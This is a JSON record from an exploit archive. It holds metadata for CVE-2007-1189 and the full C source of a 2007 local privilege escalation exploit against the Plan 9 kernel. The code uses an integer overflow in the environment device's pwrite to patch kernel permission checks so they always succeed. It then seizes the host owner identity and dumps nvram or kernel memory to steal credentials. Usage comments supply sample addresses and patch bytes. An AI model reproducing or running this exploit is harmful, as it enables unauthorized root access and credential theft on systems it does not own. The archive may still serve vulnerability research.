{"exploit":{"id":"EDB-3383","name":"Plan 9 Kernel - 'devenv.c OTRUNC/pwrite' Local Privilege Escalation (LPE)","description":"Plan 9 Kernel - 'devenv.c OTRUNC/pwrite' Local Privilege Escalation (LPE)","cves":["CVE-2007-1189"],"author":"Don Bailey","published":"2007-02-28","platform":"plan9","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3383","path":"exploits/plan9/local/3383.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3383.c","vulnerabilities":[{"id":"CVE-2007-1189","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in the envwrite function in the Alcatel-Lucent Bell Labs Plan 9 kernel allows local users to overwrite certain memory addresses with kernel memory via a large n argument, as demonstrated by (1) modifying the iseve function to gain privileges and (2) making the devpermcheck function grant unrestricted device permissions.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1189","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1189"},"updatedAt":"2024-08-07T12:50:34.399Z","retrievedAt":"2026-11-26T16:25:00.699Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3383.png?v=2","url":"https://exploitbin.com/exploits/EDB-3383","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3383/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3383/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* !!! DO NOT DISTRIBUTE !!! */\n\n/* identity theft\n *\n * this exploit uses my devenv.c OTRUNC/pwrite vulnerability\n * to overwrite specific kernel addresses to help elevate our\n * privileges. this exploit is *very* picky, so you *must*\n * understand the plan9 kernel and know what you are\n * doing, though a best-practice usage example will\n * guide new users.\n *\n * the exploit process is:\n *\t1) determine the user we're running as\n *\t2) determine the hostowner for the server\n *\t3) overwrite specific kernel addresses\n *\t4) write our username to  '#c/hostowner'\n *\t5) steal credentials by copying nvram or paging\n *\t\tthrough kernel memory for resident creds\n *\t6) reset previously overwritten functions\n *\t7) write the original username back to '#c/hostowner'\n *\n * a best practice usage example is to overwrite iseve() so\n * the kernel is tricked into thinking we're the host owner.\n * secondly, we can overwrite devpermcheck() to trick the\n * kernel into thinking we have permissions to access any\n * given in-kernel device file. this will give us immediate\n * access to things like /srv/fscons and '#S/sdC0/nvram'.\n *\n * to get the address you want to overwrite, use the plan9\n * debugger after you figure out which kernel the system\n * is booting:\n *\n * cpu% acid /386/9pccpu\n * /386/9pccpu:386 plan 9 boot image\n *\n * /sys/lib/acid/port\n * /sys/lib/acid/386\n * acid: print(iseve)\n * 0xf018d3db\n * acid: mem(iseve, \"X\")\n * 0x8b0cec83\n * acid: print(devpermcheck)\n * 0xf0192a6b\n * acid: mem(devpermcheck, \"X\")\n * 0x8b14ec83\n * acid: ^D\n * cpu% ./itheft -n -o nvram.img -s 0,1024 \\\n *\t-k 0xf018d3db,83ec0c8b,31c040c3 \\\n *\t-k 0xf0192a6b,83ec148b,31c040c3\n *\n * as you can see, we overwrite the function addresses in\n * kmem with:\n *\n *\txorl %eax, %eax\n *\tincl %eax\n *\tretl\n *\n * a note on exploit effects.\n * when we overwrite '#c/hostowner', the kernel\n * automatically changes all processes owned by the\n * previous hostowner id to the new id. when the exploit\n * has obtained the target information from the kernel, it\n * will write the previous hostowner id to '#c/hostowner'.\n * since *your* id was now just the hostowner id, this\n * second write will alter *your* bin/rc instance's owner\n * to the id of the original hostowner. this may seem\n * desirable, however it isn't. the reason is that despite\n * having access to the hostowner's name, we don't have\n * access to the hostowner's credentials. thus, access to\n * their files and factotum is still disabled.\n *\n * therefore, it's best to immediately exit your CPU shell\n * once the exploit is finished.\n *\n * lastly, when using a target of Tmem, expect a kernel\n * panic when you trigger a page fault with a bad address.\n * make sure you define an appropriate base and ceiling\n * when paging through memory.\n *\n * NB: it'd be nice to have a memory disclosure exploit that's\n * as reliable as this one to help verify whether or not the\n * kernel addresses are as expected (whether or not we've\n * ran bin/acid on the appropriate kernel and obtained the\n * correct kernel addresses)\n *\n * Don \"north\" Bailey 12/27/06\n * don.bailey@gmail.com\n *\n * you say the hill is too steep to climb\n * you say you'd like to see me try\n * you pick the place and I'll choose the time\n * and I'll climb the hill in my own way\n *  - gilmour/waters\n */\n\n#include <u.h>\n#include <libc.h>\n\nenum\n{\n\tFalse,\n\tTrue,\n};\n\nenum\n{\n\tAnew,\n\tAold,\n};\n\nenum\n{\n\tTmem,\n\tTnvram,\n};\n\ntypedef struct Seg Seg;\ntypedef struct Kfunc Kfunc;\n\nstruct\nSeg\n{\n\tulong base;\n\tulong ceiling;\n};\n\nstruct\nKfunc\n{\n\tint nnew;\n\tint nold;\n\tvlong addr;\n\tuchar * new;\n\tuchar * old;\n\tKfunc * next;\n};\n\nstatic int outfd;\nstatic int envfd;\nstatic char * us;\nstatic Seg * seg;\nstatic int pagesz;\nstatic Kfunc * kf;\nstatic char * them;\nstatic char * outfile;\nstatic char * envpath;\nstatic int target = Tnvram;\n\nstatic int spin(void);\nstatic int steal(void);\nstatic int kwrite(int);\nstatic void usage(void);\nstatic int addk(char * );\nstatic int envfile(void);\nstatic uchar gethex(char);\nstatic void cleanup(void);\nstatic int getpagesz(void);\nstatic int envremove(void);\nstatic int addseg(char * );\nstatic void delk(Kfunc ** );\nstatic int myidentity(void);\nstatic int stealfile(char * );\nstatic int youridentity(void);\nstatic int sethostowner(char * );\nstatic void err(const char *, ... );\nstatic void msg(const char *, ... );\nstatic int arguments(int, char ** );\nstatic int userfile(char *, char ** );\nstatic void xstrdup(char *, char ** );\nstatic int parsebytes(char *, uchar **, int * );\n\nvoid\nmain(int argc, char * argv[])\n{\n\tint e;\n\n\te = arguments(argc, argv);\n\tif(!e)\n\t\tusage();\n\telse\n\t\te = spin();\n\n\tcleanup();\n\n\tif(e)\n\t\texits(nil);\n\n\texits(\"you suck as a thief\");\n}\n\nstatic void\ncleanup(void)\n{\n\tKfunc * k;\n\tKfunc * l;\n\n\tif(us)\n\t\tfree(us);\n\tif(seg)\n\t\tfree(seg);\n\tif(them)\n\t\tfree(them);\n\tif(outfile)\n\t\tfree(outfile);\n\tif(envpath)\n\t\tfree(envpath);\n\n\tif(envfd > 0)\n\t\tclose(envfd);\n\tif(outfd > 0)\n\t\tclose(outfd);\n\n\tfor(k = kf; k; k = l)\n\t{\n\t\tl = k->next;\n\t\tdelk(&k);\n\t}\n}\n\nstatic void\nusage(void)\n{\n\tfprint(\n\t\t2,\n\t\t\"usage: ithief [-{n|m}] -s base,ceiling \"\n\t\t\"-o outfile -k ... [-k ... ]\\n\");\n}\n\nstatic int\narguments(int argc, char ** argv)\n{\n\tchar * p;\n\n\tARGBEGIN\n\t{\n\tcase 'n':\n\t\t{\n\t\t\ttarget = Tnvram;\n\t\t\tbreak;\n\t\t}\n\tcase 'm':\n\t\t{\n\t\t\ttarget = Tmem;\n\t\t\tbreak;\n\t\t}\n\tcase 's':\n\t\t{\n\t\t\tp = ARGF();\n\t\t\tif(!p)\n\t\t\t{\n\t\t\t\terr(\"option 's' needs an argument\");\n\t\t\t\treturn False;\n\t\t\t}\n\n\t\t\tif(!addseg(p))\n\t\t\t\treturn False;\n\n\t\t\tbreak;\n\t\t}\n\tcase 'k':\n\t\t{\n\t\t\tp = ARGF();\n\t\t\tif(!p)\n\t\t\t{\n\t\t\t\terr(\"option 'k' needs an argument\");\n\t\t\t\treturn False;\n\t\t\t}\n\n\t\t\tif(!addk(p))\n\t\t\t\treturn False;\n\n\t\t\tbreak;\n\t\t}\n\tcase 'o':\n\t\t{\n\t\t\tp = ARGF();\n\t\t\tif(!p)\n\t\t\t{\n\t\t\t\terr(\"option 'o' needs an argument\");\n\t\t\t\treturn False;\n\t\t\t}\n\n\t\t\tif(outfile)\n\t\t\t{\n\t\t\t\terr(\"option 'o' already set\");\n\t\t\t\treturn False;\n\t\t\t}\n\n\t\t\txstrdup(p, &outfile);\n\t\t\tbreak;\n\t\t}\n\tdefault:\n\t\t{\n\t\t\terr(\"unknown option '%c'\", ARGC());\n\t\t\treturn False;\n\t\t}\n\t}\n\tARGEND\n\n\tif(!kf)\n\t{\n\t\terr(\"at least one 'k' is required\");\n\t\treturn False;\n\t}\n\n\tif(!seg)\n\t{\n\t\terr(\"one 's' is required\");\n\t\treturn False;\n\t}\n\n\tif(!outfile)\n\t{\n\t\terr(\"an output file is required\");\n\t\treturn False;\n\t}\n\n\treturn True;\n}\n\nstatic void\nerr(const char * fmt, ... )\n{\n\tva_list v;\n\n\tva_start(v, fmt);\n\n\tfprint(2, \"error: \");\n\tvfprint(2, fmt, v);\n\tfprint(2, \"\\n\");\n\n\tva_end(v);\n}\n\nstatic void\nmsg(const char * fmt, ... )\n{\n\tva_list v;\n\n\tva_start(v, fmt);\n\n\tfprint(1, \"ithief: \");\n\tvfprint(1, fmt, v);\n\tfprint(1, \"\\n\");\n\n\tva_end(v);\n}\n\nstatic void\nxstrdup(char * in, char ** outp)\n{\n\tchar * out;\n\tint sz;\n\n\tsz = strlen(in) + 1;\n\n\tout = calloc(1, sz);\n\tif(!out)\n\t{\n\t\tperror(\"calloc\");\n\t\tabort();\n\t}\n\n\tmemcpy(out, in, sz);\n\t*outp = out;\n}\n\nstatic int\naddk(char * p)\n{\n\tKfunc * kp;\n\tKfunc * k;\n\tchar * c;\n\tchar * e;\n\tchar t;\n\n\tk = calloc(1, sizeof *k);\n\tif(!k)\n\t{\n\t\tperror(\"calloc\");\n\t\tabort();\n\t}\n\n\tfor(c = p; *c && *c != ','; c++)\n\t\t;\n\tt = *c;\n\t*c = 0;\n\n\tk->addr = strtoull(p, 0, 0);\n\t*c = t;\n\n\tif(!t)\n\t\tgoto _fail;\n\n\tfor(e = ++c; *c && *c != ','; c++)\n\t\t;\n\tt = *c;\n\t*c = 0;\n\n\tif(!parsebytes(e, &k->old, &k->nold))\n\t\tgoto _fail;\n\n\tif(!t)\n\t\tgoto _fail;\n\n\tfor(e = ++c; *c; c++)\n\t\t;\n\n\tif(!parsebytes(e, &k->new, &k->nnew))\n\t\tgoto _fail;\n\n\tfor(kp = kf; kp && kp->next; kp = kp->next)\n\t\t;\n\tif(!kp)\n\t\tkf = k;\n\telse\n\t\tkp->next = k;\n\n\treturn True;\n\n_fail:\n\terr(\"invalid K syntax\");\n\tdelk(&k);\n\treturn False;\n}\n\nstatic void\ndelk(Kfunc ** kp)\n{\n\tKfunc * k;\n\n\tk = *kp;\n\t*kp = nil;\n\n\tif(k->new)\n\t\tfree(k->new);\n\tif(k->old)\n\t\tfree(k->old);\n\n\tfree(k);\n}\n\nstatic int\nparsebytes(char * p, uchar ** bytesp, int * np)\n{\n\tuchar * bytes;\n\tuchar byte;\n\tint n;\n\n\tn = strlen(p);\n\tif(n % 2)\n\t{\n\t\terr(\"the byte stream must be an even length\");\n\t\treturn False;\n\t}\n\n\tn = 0;\n\tbytes = nil;\n\n\twhile(p[0] && p[1])\n\t{\n\t\tbyte = gethex(p[0]) << 4 | gethex(p[1]);\n\t\tbytes = realloc(bytes, (n + 1) * sizeof *bytes);\n\t\tbytes[n++] = byte;\n\t\tp += 2;\n\t}\n\n\t*bytesp = bytes;\n\t*np = n;\n\n\treturn True;\n}\n\nstatic uchar\ngethex(char c)\n{\n\treturn (c >= '0' && c <= '9') ? c - '0' :\n\t\t\t(c >= 'a' && c <= 'f') ? c - 'a' + 10 :\n\t\t\t\t(c >= 'A' && c <= 'F') ? c - 'A' + 10 :\n\t\t\t\t\t-1;\n}\n\nstatic int\nspin(void)\n{\n\toutfd = create(outfile, OWRITE, 0600);\n\tif(outfd < 0)\n\t{\n\t\terr(\"can't create \\\"%s\\\": %r\", outfile);\n\t\treturn False;\n\t}\n\n\tif(!getpagesz())\n\t\treturn False;\n\n\tif(!myidentity())\n\t\treturn False;\n\n\tif(!youridentity())\n\t\treturn False;\n\n\tif(!envfile())\n\t\treturn False;\n\n\tif(!kwrite(Anew))\n\t\treturn False;\n\n\tif(!sethostowner(us))\n\t\treturn False;\n\n\tif(!steal())\n\t\treturn False;\n\n\tif(!kwrite(Aold))\n\t\treturn False;\n\n\tif(!sethostowner(them))\n\t\treturn False;\n\n\treturn envremove();\n}\n\nstatic int\ngetpagesz(void)\n{\n\tchar buffer[64];\n\tchar * p;\n\tchar * q;\n\tint fd;\n\tint e;\n\n\tfd = open(\"#c/swap\", OREAD);\n\tif(fd < 0)\n\t{\n\t\terr(\"can't open \\\"#c/swap\\\": %r\");\n\t\treturn False;\n\t}\n\n\te = read(fd, buffer, sizeof buffer);\n\tif(e < 0)\n\t{\n\t\terr(\"can't read \\\"#c/swap\\\": %r\");\n\t\tclose(fd);\n\t\treturn False;\n\t}\n\n\tclose(fd);\n\n\tfor(p = buffer; (p - buffer) < sizeof buffer && *p != '\\n'; p++)\n\t\t;\n\tfor(q = ++p;\n\t\t(q - buffer) < sizeof buffer && (*q != ' ' && *q != '\\t');\n\t\tq++)\n\t\t;\n\t*q = 0;\n\n\tpagesz = strtoul(p, 0, 0);\n\tmsg(\"the system page size is %d\", pagesz);\n\n\treturn True;\n}\n\nstatic int\nmyidentity(void)\n{\n\tif(!userfile(\"#c/user\", &us))\n\t\treturn False;\n\n\tmsg(\"we are \\\"%s\\\"\", us);\n\treturn True;\n}\n\nstatic int\nyouridentity(void)\n{\n\tif(!userfile(\"#c/hostowner\", &them))\n\t\treturn False;\n\n\tif(!strcmp(us, them))\n\t{\n\t\terr(\"we are the hostowner, genius\");\n\t\treturn False;\n\t}\n\n\tmsg(\"they are \\\"%s\\\"\", them);\n\treturn True;\n}\n\nstatic int\nuserfile(char * uf, char ** namep)\n{\n\tchar buffer[1024];\n\tint fd;\n\tint n;\n\n\tfd = open(uf, OREAD);\n\tif(fd < 0)\n\t{\n\t\terr(\"can't obtain an username from \\\"%s\\\": %r\", uf);\n\t\treturn False;\n\t}\n\n\tn = read(fd, buffer, sizeof buffer);\n\tif(n <= 0)\n\t{\n\t\terr(\"bad read on \\\"%s\\\"? %r\");\n\t\tclose(fd);\n\t\treturn False;\n\t}\n\n\tif(n == sizeof buffer)\n\t\tn = sizeof buffer - 1;\n\n\tbuffer[n] = 0;\n\n\tclose(fd);\n\txstrdup(buffer, namep);\n\n\treturn True;\n}\n\nstatic int\nenvfile(void)\n{\n\tchar buffer[32];\n\tchar * p;\n\tint fd;\n\n\t/* easier to just create our own and rm it */\n\n\tsnprint(buffer, sizeof buffer, \"#e/XXXXXXXXXXX\");\n\n\tp = mktemp(buffer);\n\tif(!p[0] || (p[0] == '/' && !p[1]))\n\t{\n\t\terr(\"mktemp failed: %r\");\n\t\treturn False;\n\t}\n\n\tmsg(\"creating \\\"%s\\\"\", p);\n\n\tfd = create(p, ORDWR, 0600);\n\tif(fd < 0)\n\t{\n\t\terr(\"can't create \\\"%s\\\": %r\", p);\n\t\treturn False;\n\t}\n\n\tmsg(\"truncating \\\"%s\\\"\", p);\n\tclose(fd);\n\n\tfd = open(p, OWRITE|OTRUNC);\n\tif(fd < 0)\n\t{\n\t\terr(\"can't open \\\"%s\\\": %r\", p);\n\t\treturn False;\n\t}\n\n\tmsg(\"\\\"%s\\\" is ready for manipulation\", p);\n\n\txstrdup(buffer, &envpath);\n\tenvfd = fd;\n\n\treturn True;\n}\n\nstatic int\nkwrite(int obj)\n{\n\tKfunc * k;\n\tuchar * p;\n\tlong b;\n\tlong n;\n\n\tfor(k = kf; k; k = k->next)\n\t{\n\t\tif(obj == Anew)\n\t\t{\n\t\t\tp = k->new;\n\t\t\tb = k->nnew;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tp = k->old;\n\t\t\tb = k->nold;\n\t\t}\n\n\t\tmsg(\n\t\t\t\"writing %d %s bytes to %lluX\",\n\t\t\tb,\n\t\t\tobj == Anew ? \"new\" : \"old\",\n\t\t\tk->addr);\n\n\t\tn = pwrite(envfd, p, b, k->addr);\n\t\tif(n != b)\n\t\t{\n\t\t\terr(\"failed to write to \\\"%s\\\": %r\", envpath);\n\t\t\treturn False;\n\t\t}\n\t}\n\n\treturn True;\n}\n\nstatic int\nsethostowner(char * new)\n{\n\tchar * test;\n\tint fd;\n\tint n;\n\tint e;\n\n\tfd = open(\"#c/hostowner\", OWRITE);\n\tif(fd < 0)\n\t{\n\t\terr(\"can't open \\\"#c/hostowner\\\": %r\");\n\t\treturn False;\n\t}\n\n\tn = strlen(new);\n\n\te = write(fd, new, n);\n\tif(e != n)\n\t{\n\t\terr(\"write to \\\"#c/hostowner\\\" failed: %r\");\n\t\tclose(fd);\n\t\treturn False;\n\t}\n\n\tclose(fd);\n\tmsg(\"write of \\\"%s\\\" to \\\"#c/hostowner\\\" succeeded\", new);\n\n\tif(!userfile(\"#c/hostowner\", &test))\n\t{\n\t\terr(\"can't retrieve \\\"#c/hostowner\\\" for comparison?\");\n\t\treturn False;\n\t}\n\n\te = strcmp(new, test) == 0;\n\tif(!e)\n\t{\n\t\terr(\n\t\t\t\"write on \\\"#c/hostowner\\\" succeeded but stored\"\n\t\t\t\"value isn't as expected: \\\"%s\\\"\",\n\t\t\ttest);\n\t}\n\n\tfree(test);\n\n\treturn e;\n}\n\nstatic int\nsteal(void)\n{\n\tchar buffer[32];\n\n\tif(target == Tnvram)\n\t\treturn stealfile(\"#S/sdC0/nvram\");\n\n\tsnprint(buffer, sizeof buffer, \"#p/%d/mem\", getpid());\n\n\treturn stealfile(buffer);\n}\n\nstatic int\nstealfile(char * path)\n{\n\tuchar * page;\n\tulong addr;\n\tlong n;\n\tint fd;\n\n\tmsg(\"opening \\\"%s\\\" for imaging\", path);\n\n\tfd = open(path, OREAD);\n\tif(fd < 0)\n\t{\n\t\terr(\"can't open \\\"%s\\\": %r\", path);\n\t\treturn False;\n\t}\n\n\tpage = calloc(1, pagesz);\n\tif(!page)\n\t{\n\t\terr(\"calloc failed: %r\");\n\t\tabort();\n\t}\n\n\taddr = seg->base;\n\n\twhile(addr < seg->ceiling)\n\t{\n\t\tn = pread(fd, page, pagesz, addr);\n\t\tif(n <= 0)\n\t\t{\n\t\t\tif(n < 0)\n\t\t\t\terr(\"read on \\\"%s\\\" failed: %r\", path);\n\t\t\tbreak;\n\t\t}\n\n\t\twrite(outfd, page, n);\n\t\taddr += n;\n\t}\n\n\treturn True;\n}\n\nstatic int\nenvremove(void)\n{\n\tremove(envpath);\n\treturn True;\n}\n\nstatic int\naddseg(char * p)\n{\n\tulong ceiling;\n\tulong base;\n\tchar * c;\n\tSeg * s;\n\tchar t;\n\n\tif(seg)\n\t{\n\t\terr(\"only one segment can be defined\");\n\t\treturn False;\n\t}\n\n\tfor(c = p; *c && *c != ','; c++)\n\t\t;\n\tif(!*c)\n\t{\n\t\terr(\"invalid seg syntax\");\n\t\treturn False;\n\t}\n\n\tt = *c;\n\t*c = 0;\n\n\tbase = strtoul(p, 0, 0);\n\t*c++ = t;\n\n\tceiling = strtoul(c, 0, 0);\n\n\tif(ceiling <= base)\n\t{\n\t\terr(\"invalid seg syntax; ceiling <= base\");\n\t\treturn False;\n\t}\n\n\ts = calloc(1, sizeof *s);\n\tif(!s)\n\t{\n\t\tperror(\"calloc\");\n\t\tabort();\n\t}\n\n\ts->base = base;\n\ts->ceiling = ceiling;\n\n\tmsg(\"using a segment of %luX -> %luX\", s->base, s->ceiling);\n\n\tseg = s;\n\n\treturn True;\n}\n\n// milw0rm.com [2007-02-28]","sha256":"548b117af9d5e767fd08a705f69248823acef4ddfd0535e3e0af24feb6e769cd","bytes":13157,"fetchedAt":"2026-11-26T16:06:15.087Z","encoding":"utf-8 (display only; download retains original bytes)"}